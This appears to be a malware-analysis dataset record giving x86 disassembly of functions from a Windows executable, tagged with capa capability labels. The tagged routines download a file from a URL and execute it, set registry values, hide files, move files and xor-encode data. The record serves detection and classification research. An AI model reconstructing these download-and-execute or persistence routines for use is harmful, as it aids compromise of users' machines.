joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4628a0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4628b7
add esp, 0xfffffff0
call fcn.004036b4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cba8
mov eax, dword [0x46f938]
cmp word [eax + 2], 0
jne 0x4628df
mov eax, dword [0x46f938]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00463df4
mov eax, dword [0x46f9f0]
cmp word [eax + 2], 0
jne 0x4628f9
mov eax, dword [0x46f9f0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00463fec
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x414e4c]
call fcn.00403360
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x414e4c]
call fcn.00403360
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f02c]
call fcn.0042647c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x462a80
mov eax, dword [0x46f858]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042684c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x46458c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x46f858]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c8cc
test eax, eax
je 0x4629ee
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408b68
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c8f4
test eax, eax
je 0x462a02
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004043cc
mov eax, dword [0x46f72c]
cmp byte [eax], 0
jne 0x462a36
mov eax, ebx
call fcn.00462ba8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00464768
mov eax, ebx
call fcn.0046512c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x462a76
call fcn.0040370c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x466a9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x108], edx
mov edi, eax
xor eax, eax
push ebp
push 0x466c72
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [edi + 0x38], 0
jne 0x466c59
mov eax, dword [edi + 0x30]
call fcn.0040441c
test eax, eax
jne 0x466af2
mov eax, dword [edi + 0x34]
call fcn.0040441c
test eax, eax
jne 0x466af2
mov eax, edi
call fcn.00466d10
jmp 0x466c59
cmp dword [edi + 0xa0], 0
jne 0x466b29
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x30]
call fcn.00408bc4
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x470be4]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa0], eax
cmp dword [edi + 0xa4], 0
jne 0x466b60
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x34]
call fcn.00408bc4
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x470be4]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa4], eax
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.00466d50
mov ebx, eax
test bl, bl
jne 0x466c0e
mov eax, dword [edi + 0x30]
call fcn.0040441c
test eax, eax
jne 0x466b98
mov eax, dword [edi + 0xc0]
call fcn.0040441c
test eax, eax
je 0x466c0e
mov eax, dword [edi + 0xc0]
call fcn.0040441c
test eax, eax
je 0x466bba
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0xc0]
call fcn.00408bc4
jmp 0x466be6
push dword [edi + 0x30]
push 0x466c8c
push dword [edi + 0x34]
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.004044dc
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 0x101]
call fcn.00408bc4
push 7
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_WinExec
cmp eax, 0x20
jb 0x466c0e
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.00466d50
mov ebx, eax
test bl, bl
jne 0x466c1b
mov eax, edi
call fcn.00466d10
jmp 0x466c59
mov eax, dword [edi + 0x58]
test eax, eax
je 0x466c2a
mov dword [edi + 0xa8], eax
jmp 0x466c34
mov dword [edi + 0xa8], 1
mov eax, edi
call fcn.00466dc8
test al, al
je 0x466c59
mov eax, edi
mov si, 0xffee
call fcn.0040358c
xor ecx, ecx
xor edx, edx
mov eax, edi
call fcn.00466f98
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466c79
lea eax, [ebp - 0x108]
call fcn.0040415c
ret
Function at 0x469594
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x4696a2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x470c3c], 0x423a35c7
lea eax, [ebp - 0xc]
mov ecx, 0x4696b8
mov edx, dword [0x470c64]
call fcn.00404468
mov eax, dword [ebp - 0xc]
call fcn.004087fc
test al, al
jne 0x469687
push 0xffff
lea eax, [ebp - 0x10]
mov ecx, 0x4696b8
mov edx, dword [0x470c64]
call fcn.00404468
mov ecx, dword [ebp - 0x10]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov ebx, eax
mov byte [ebp - 1], 0xc
lea edx, [ebp - 1]
mov ecx, 1
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0x10]
mov eax, ebx
call fcn.00403390
push dword [0x470c64]
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.004083e0
push dword [ebp - 0x14]
push 0x4696d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.004044dc
mov dword [0x470c3c], 0x423a35c7
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
mov eax, dword [0x46f704]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 1
push ebx
call sub.kernel32.dll_WinExec
mov dword [0x470c3c], 0x423a35c7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4696a9
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404180
ret

Function at 0x4697d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x4698c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x4698dc
call fcn.00404760
test eax, eax
jne 0x469827
mov dword [0x470c3c], 0x423a35c7
push 9
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x4698a2
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4698dc
call fcn.00404760
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov dword [0x470c3c], 0x423a35c7
mov edx, dword [ebp - 4]
mov eax, 0x4698dc
call fcn.00404760
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004041f4
push 9
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040461c
push eax
mov eax, dword [ebp - 8]
call fcn.0040461c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
mov dword [0x470c3c], 0x423a35c7
mov dword [0x470c3c], 0x423a35c7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4698ce
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x469ab4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
push ebx
xor edx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
mov ebx, 0x470c3c
xor eax, eax
push ebp
push 0x469cd7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004028a0
call fcn.00402988
test eax, eax
jne 0x469ca0
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
mov eax, 0x469cec
call fcn.00408894
test eax, eax
jne 0x469c95
mov dword [ebx], 0x423a35c7
mov eax, dword [ebp - 0x150]
mov edx, 0x469cf8
call fcn.00404568
je 0x469c82
mov eax, dword [ebp - 0x150]
mov edx, 0x469d04
call fcn.00404568
je 0x469c82
mov dword [ebx], 0x423a35c7
mov eax, dword [ebp - 0x154]
and eax, 0x10
cmp eax, 0x10
jne 0x469baa
mov eax, dword [ebp - 0x150]
call fcn.00469ab4
mov eax, 0x469d08
call fcn.004028b4
call fcn.00402864
jmp 0x469c82
lea edx, [ebp - 0x164]
mov eax, dword [ebp - 0x150]
call fcn.00408a28
mov eax, dword [ebp - 0x164]
lea edx, [ebp - 0x160]
call fcn.00408014
mov eax, dword [ebp - 0x160]
mov edx, 0x469d14
call fcn.00404568
jne 0x469c82
push 0
push dword [0x46f6d0]
lea eax, [ebp - 0x16c]
call fcn.00408b20
push dword [ebp - 0x16c]
push 0x469d24
push dword [ebp - 0x150]
push 0x469d30
lea eax, [ebp - 0x168]
mov edx, 5
call fcn.004044dc
mov eax, dword [ebp - 0x168]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
mov dword [ebx], 0x423a35c7
push 0
push dword [0x46f6d0]
lea eax, [ebp - 0x174]
call fcn.00408b20
push dword [ebp - 0x174]
push 0x469d24
push dword [ebp - 0x150]
push 0x469d44
lea eax, [ebp - 0x170]
mov edx, 5
call fcn.004044dc
mov eax, dword [ebp - 0x170]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
inc dword [0x470e1c]
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x469b45
lea eax, [ebp - 0x15c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469cde
lea eax, [ebp - 0x174]
mov edx, 6
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x469d54
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff28
xor eax, eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x469ed7
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x470e1c], eax
call sub.kernel32.dll_GetTickCount_1
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
call sub.kernel32.dll_GetTickCount_1
mov dword [0x470c3c], 0x423a35c7
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
call sub.kernel32.dll_GetTickCount_1
push dword [ebp - 4]
push 0x469eec
push dword [0x46f6d4]
push 0x469f08
lea eax, [ebp - 4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 4]
call fcn.0040880c
test al, al
je 0x469eb1
call sub.kernel32.dll_GetTickCount_1
mov eax, dword [ebp - 4]
call fcn.00469ab4
call sub.kernel32.dll_GetTickCount_1
cmp dword [0x470e1c], 0
jle 0x469eb1
call sub.kernel32.dll_GetTickCount_1
mov eax, dword [ebp - 4]
call fcn.0040441c
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.004046bc
call sub.kernel32.dll_GetTickCount_1
push 0
push dword [0x46f6d0]
push 0x469f14
push dword [0x46f6d4]
push 0x469f2c
lea eax, [ebp - 0xd4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd4]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
mov dword [0x470c3c], 0x423a35c7
call sub.kernel32.dll_GetTickCount_1
push 0
push dword [0x46f6d0]
push 0x469f14
push dword [0x46f6d4]
push 0x469f40
lea eax, [ebp - 0xd8]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd8]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
call sub.kernel32.dll_GetTickCount_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469ede
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x469f50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
xor eax, eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a074
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x257]
xor ecx, ecx
mov edx, 0xfb
call fcn.00402d88
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x257]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x257]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a088
call fcn.00404424
lea eax, [ebp - 0x25c]
mov ecx, 0x46a094
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x25c]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
mov dword [0x470c3c], 0x423a35c7
test eax, eax
jne 0x46a032
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x260]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x46a004
lea eax, [ebp - 0x15c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a07b
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a09c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa3c
push ebx
xor edx, edx
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5c4], edx
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x5b8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a2d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
lea edx, [ebp - 8]
mov eax, dword [0x46f788]
call fcn.004686c0
mov dword [0x470c3c], 0x423a35c7
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, 0x46a2e0
call fcn.00405ac0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov ecx, 0x46a2f0
call fcn.00405ac0
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x267]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a308
call fcn.00404424
lea eax, [ebp - 0x5b8]
mov ecx, 0x46a314
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.00408894
test eax, eax
jne 0x46a26f
lea eax, [ebp - 0x5bc]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5bc]
lea edx, [ebp - 0x5b2]
mov ecx, 0x20a
call fcn.00404f34
push 0
lea eax, [ebp - 0x5b2]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [0x470c3c], 0x423a35c7
push 2
lea eax, [ebp - 0x3a8]
push eax
push 0xfb
lea eax, [ebp - 0x267]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
mov eax, dword [ebp - 0x14]
call fcn.004087fc
test al, al
je 0x46a25c
lea edx, [ebp - 0x5c4]
mov eax, dword [ebp - 0x14]
call fcn.00408a28
mov eax, dword [ebp - 0x5c4]
lea edx, [ebp - 0x5c0]
call fcn.00408014
mov eax, dword [ebp - 0x5c0]
mov edx, 0x46a324
call fcn.00404568
jne 0x46a25c
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004041b0
lea eax, [ebp - 0x16c]
call fcn.00408908
jmp 0x46a27a
lea eax, [ebp - 0x16c]
call fcn.004088e4
test eax, eax
je 0x46a191
lea eax, [ebp - 0x16c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a2d8
lea eax, [ebp - 0x5c4]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 0x14]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.00405a7c
lea eax, [ebp - 0xc]
call fcn.00405a7c
lea eax, [ebp - 8]
call fcn.00405a7c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a32c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46a3c8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [0x470c3c], 0x423a35c7
mov eax, dword [ebp - 4]
call fcn.0040441c
mov ebx, eax
test ebx, ebx
jbe 0x46a399
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi - 1]
xor dl, 1
call fcn.00404344
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404424
inc esi
dec ebx
jne 0x46a378
mov dword [0x470c3c], 0x423a35c7
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a3cf
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x46a3d8
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Get common file path
Move file
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x46a629
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0xc8
lea eax, [ebp - 0xd6]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0xd6]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 8]
mov edx, dword [0x46f6a8]
call fcn.00404424
lea edx, [ebp - 0xe0]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.00408014
mov eax, dword [ebp - 0xdc]
push eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 8]
call fcn.00408014
mov edx, dword [ebp - 0xe4]
pop eax
call fcn.00404568
je 0x46a5f9
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
call fcn.004087fc
test al, al
jne 0x46a603
push 0x40
lea edx, [ebp - 0xe8]
xor eax, eax
call fcn.00402ad4
mov ecx, dword [ebp - 0xe8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov esi, eax
push 0
push 0
mov eax, ebx
call fcn.00418e14
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 1
sbb edx, 0
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.00419090
call fcn.00402b34
mov eax, 0xc8
call fcn.00402da8
add al, 0xa
mov byte [ebp - 0xd], al
mov dword [0x470c3c], 0x423a35c7
lea edx, [ebp - 0xd]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, ebx
call fcn.00403390
mov eax, esi
call fcn.00403390
call sub.kernel32.dll_GetTickCount_1
push 7
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
call sub.kernel32.dll_SetFileAttributesA
call sub.kernel32.dll_GetTickCount_1
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6b4]
call fcn.0040461c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x470c3c], 0x423a35c7
mov eax, dword [0x46f6ac]
call fcn.0040441c
mov esi, eax
push esi
mov eax, dword [0x46f6ac]
call fcn.0040461c
push eax
push 1
push 0
push 0x46a63c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
push 4
push 0
lea edx, [ebp - 0xec]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xec]
call fcn.0040461c
push eax
call sub.kernel32.dll_MoveFileExA
call sub.kernel32.dll_GetTickCount_1
cmp dword [0x470e1c], 0
jle 0x46a5f1
push 0
push 0x46a648
call sub.kernel32.dll_WinExec
jmp 0x46a5f9
push 0
push ebx
call sub.kernel32.dll_WinExec
mov dword [0x470c3c], 0x423a35c7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a630
lea eax, [ebp - 0xec]
mov edx, 5
call fcn.00404180
lea eax, [ebp - 8]
call fcn.0040415c
ret
Function at 0x46a65c
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
xor eax, eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a7d8
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x22c]
call fcn.0040461c
push eax
call sub.kernel32.dll_MoveFileExA
mov dword [0x470c3c], 0x423a35c7
push 0xc8
lea eax, [ebp - 0x225]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov dword [0x470c3c], 0x423a35c7
lea eax, [ebp - 4]
lea edx, [ebp - 0x225]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a7ec
call fcn.00404424
lea eax, [ebp - 0x230]
mov ecx, 0x46a7f8
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
mov dword [0x470c3c], 0x423a35c7
lea eax, [ebp - 0x15c]
call fcn.004088e4
jmp 0x46a77f
lea eax, [ebp - 0x238]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x238]
call fcn.0040461c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.00404354
mov eax, dword [ebp - 0x234]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x46a748
push 0
push 0x46a7fc
call sub.kernel32.dll_WinExec
mov byte [0x470c15], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a7df
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a810
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46aa12
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.0040415c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46aa20
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46aa50
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46a897
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46aa5c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46a8db
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46aa70
call fcn.00404468
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46aa74
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x470c3c], 0x423a35c7
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46aa50
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46a943
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov dword [0x470c3c], 0x423a35c7
mov edx, dword [ebp - 0xc]
mov eax, 0x46aaa8
call fcn.00404760
dec eax
jne 0x46a978
lea eax, [ebp - 0xc]
mov ecx, 0x12
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0xc]
mov eax, 0x46aac4
call fcn.00404760
dec eax
jne 0x46a99a
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0x10]
mov eax, 0x46aad8
call fcn.00404760
dec eax
jne 0x46a9cc
lea eax, [ebp - 0x10]
mov ecx, 0xe
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46aaf0
call fcn.00404468
cmp dword [ebp - 0xc], 0
je 0x46a9e1
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00404468
jmp 0x46a9ed
mov eax, ebx
mov edx, 0x46aafc
call fcn.004041b0
mov dword [0x470c3c], 0x423a35c7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46aa19
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404180
ret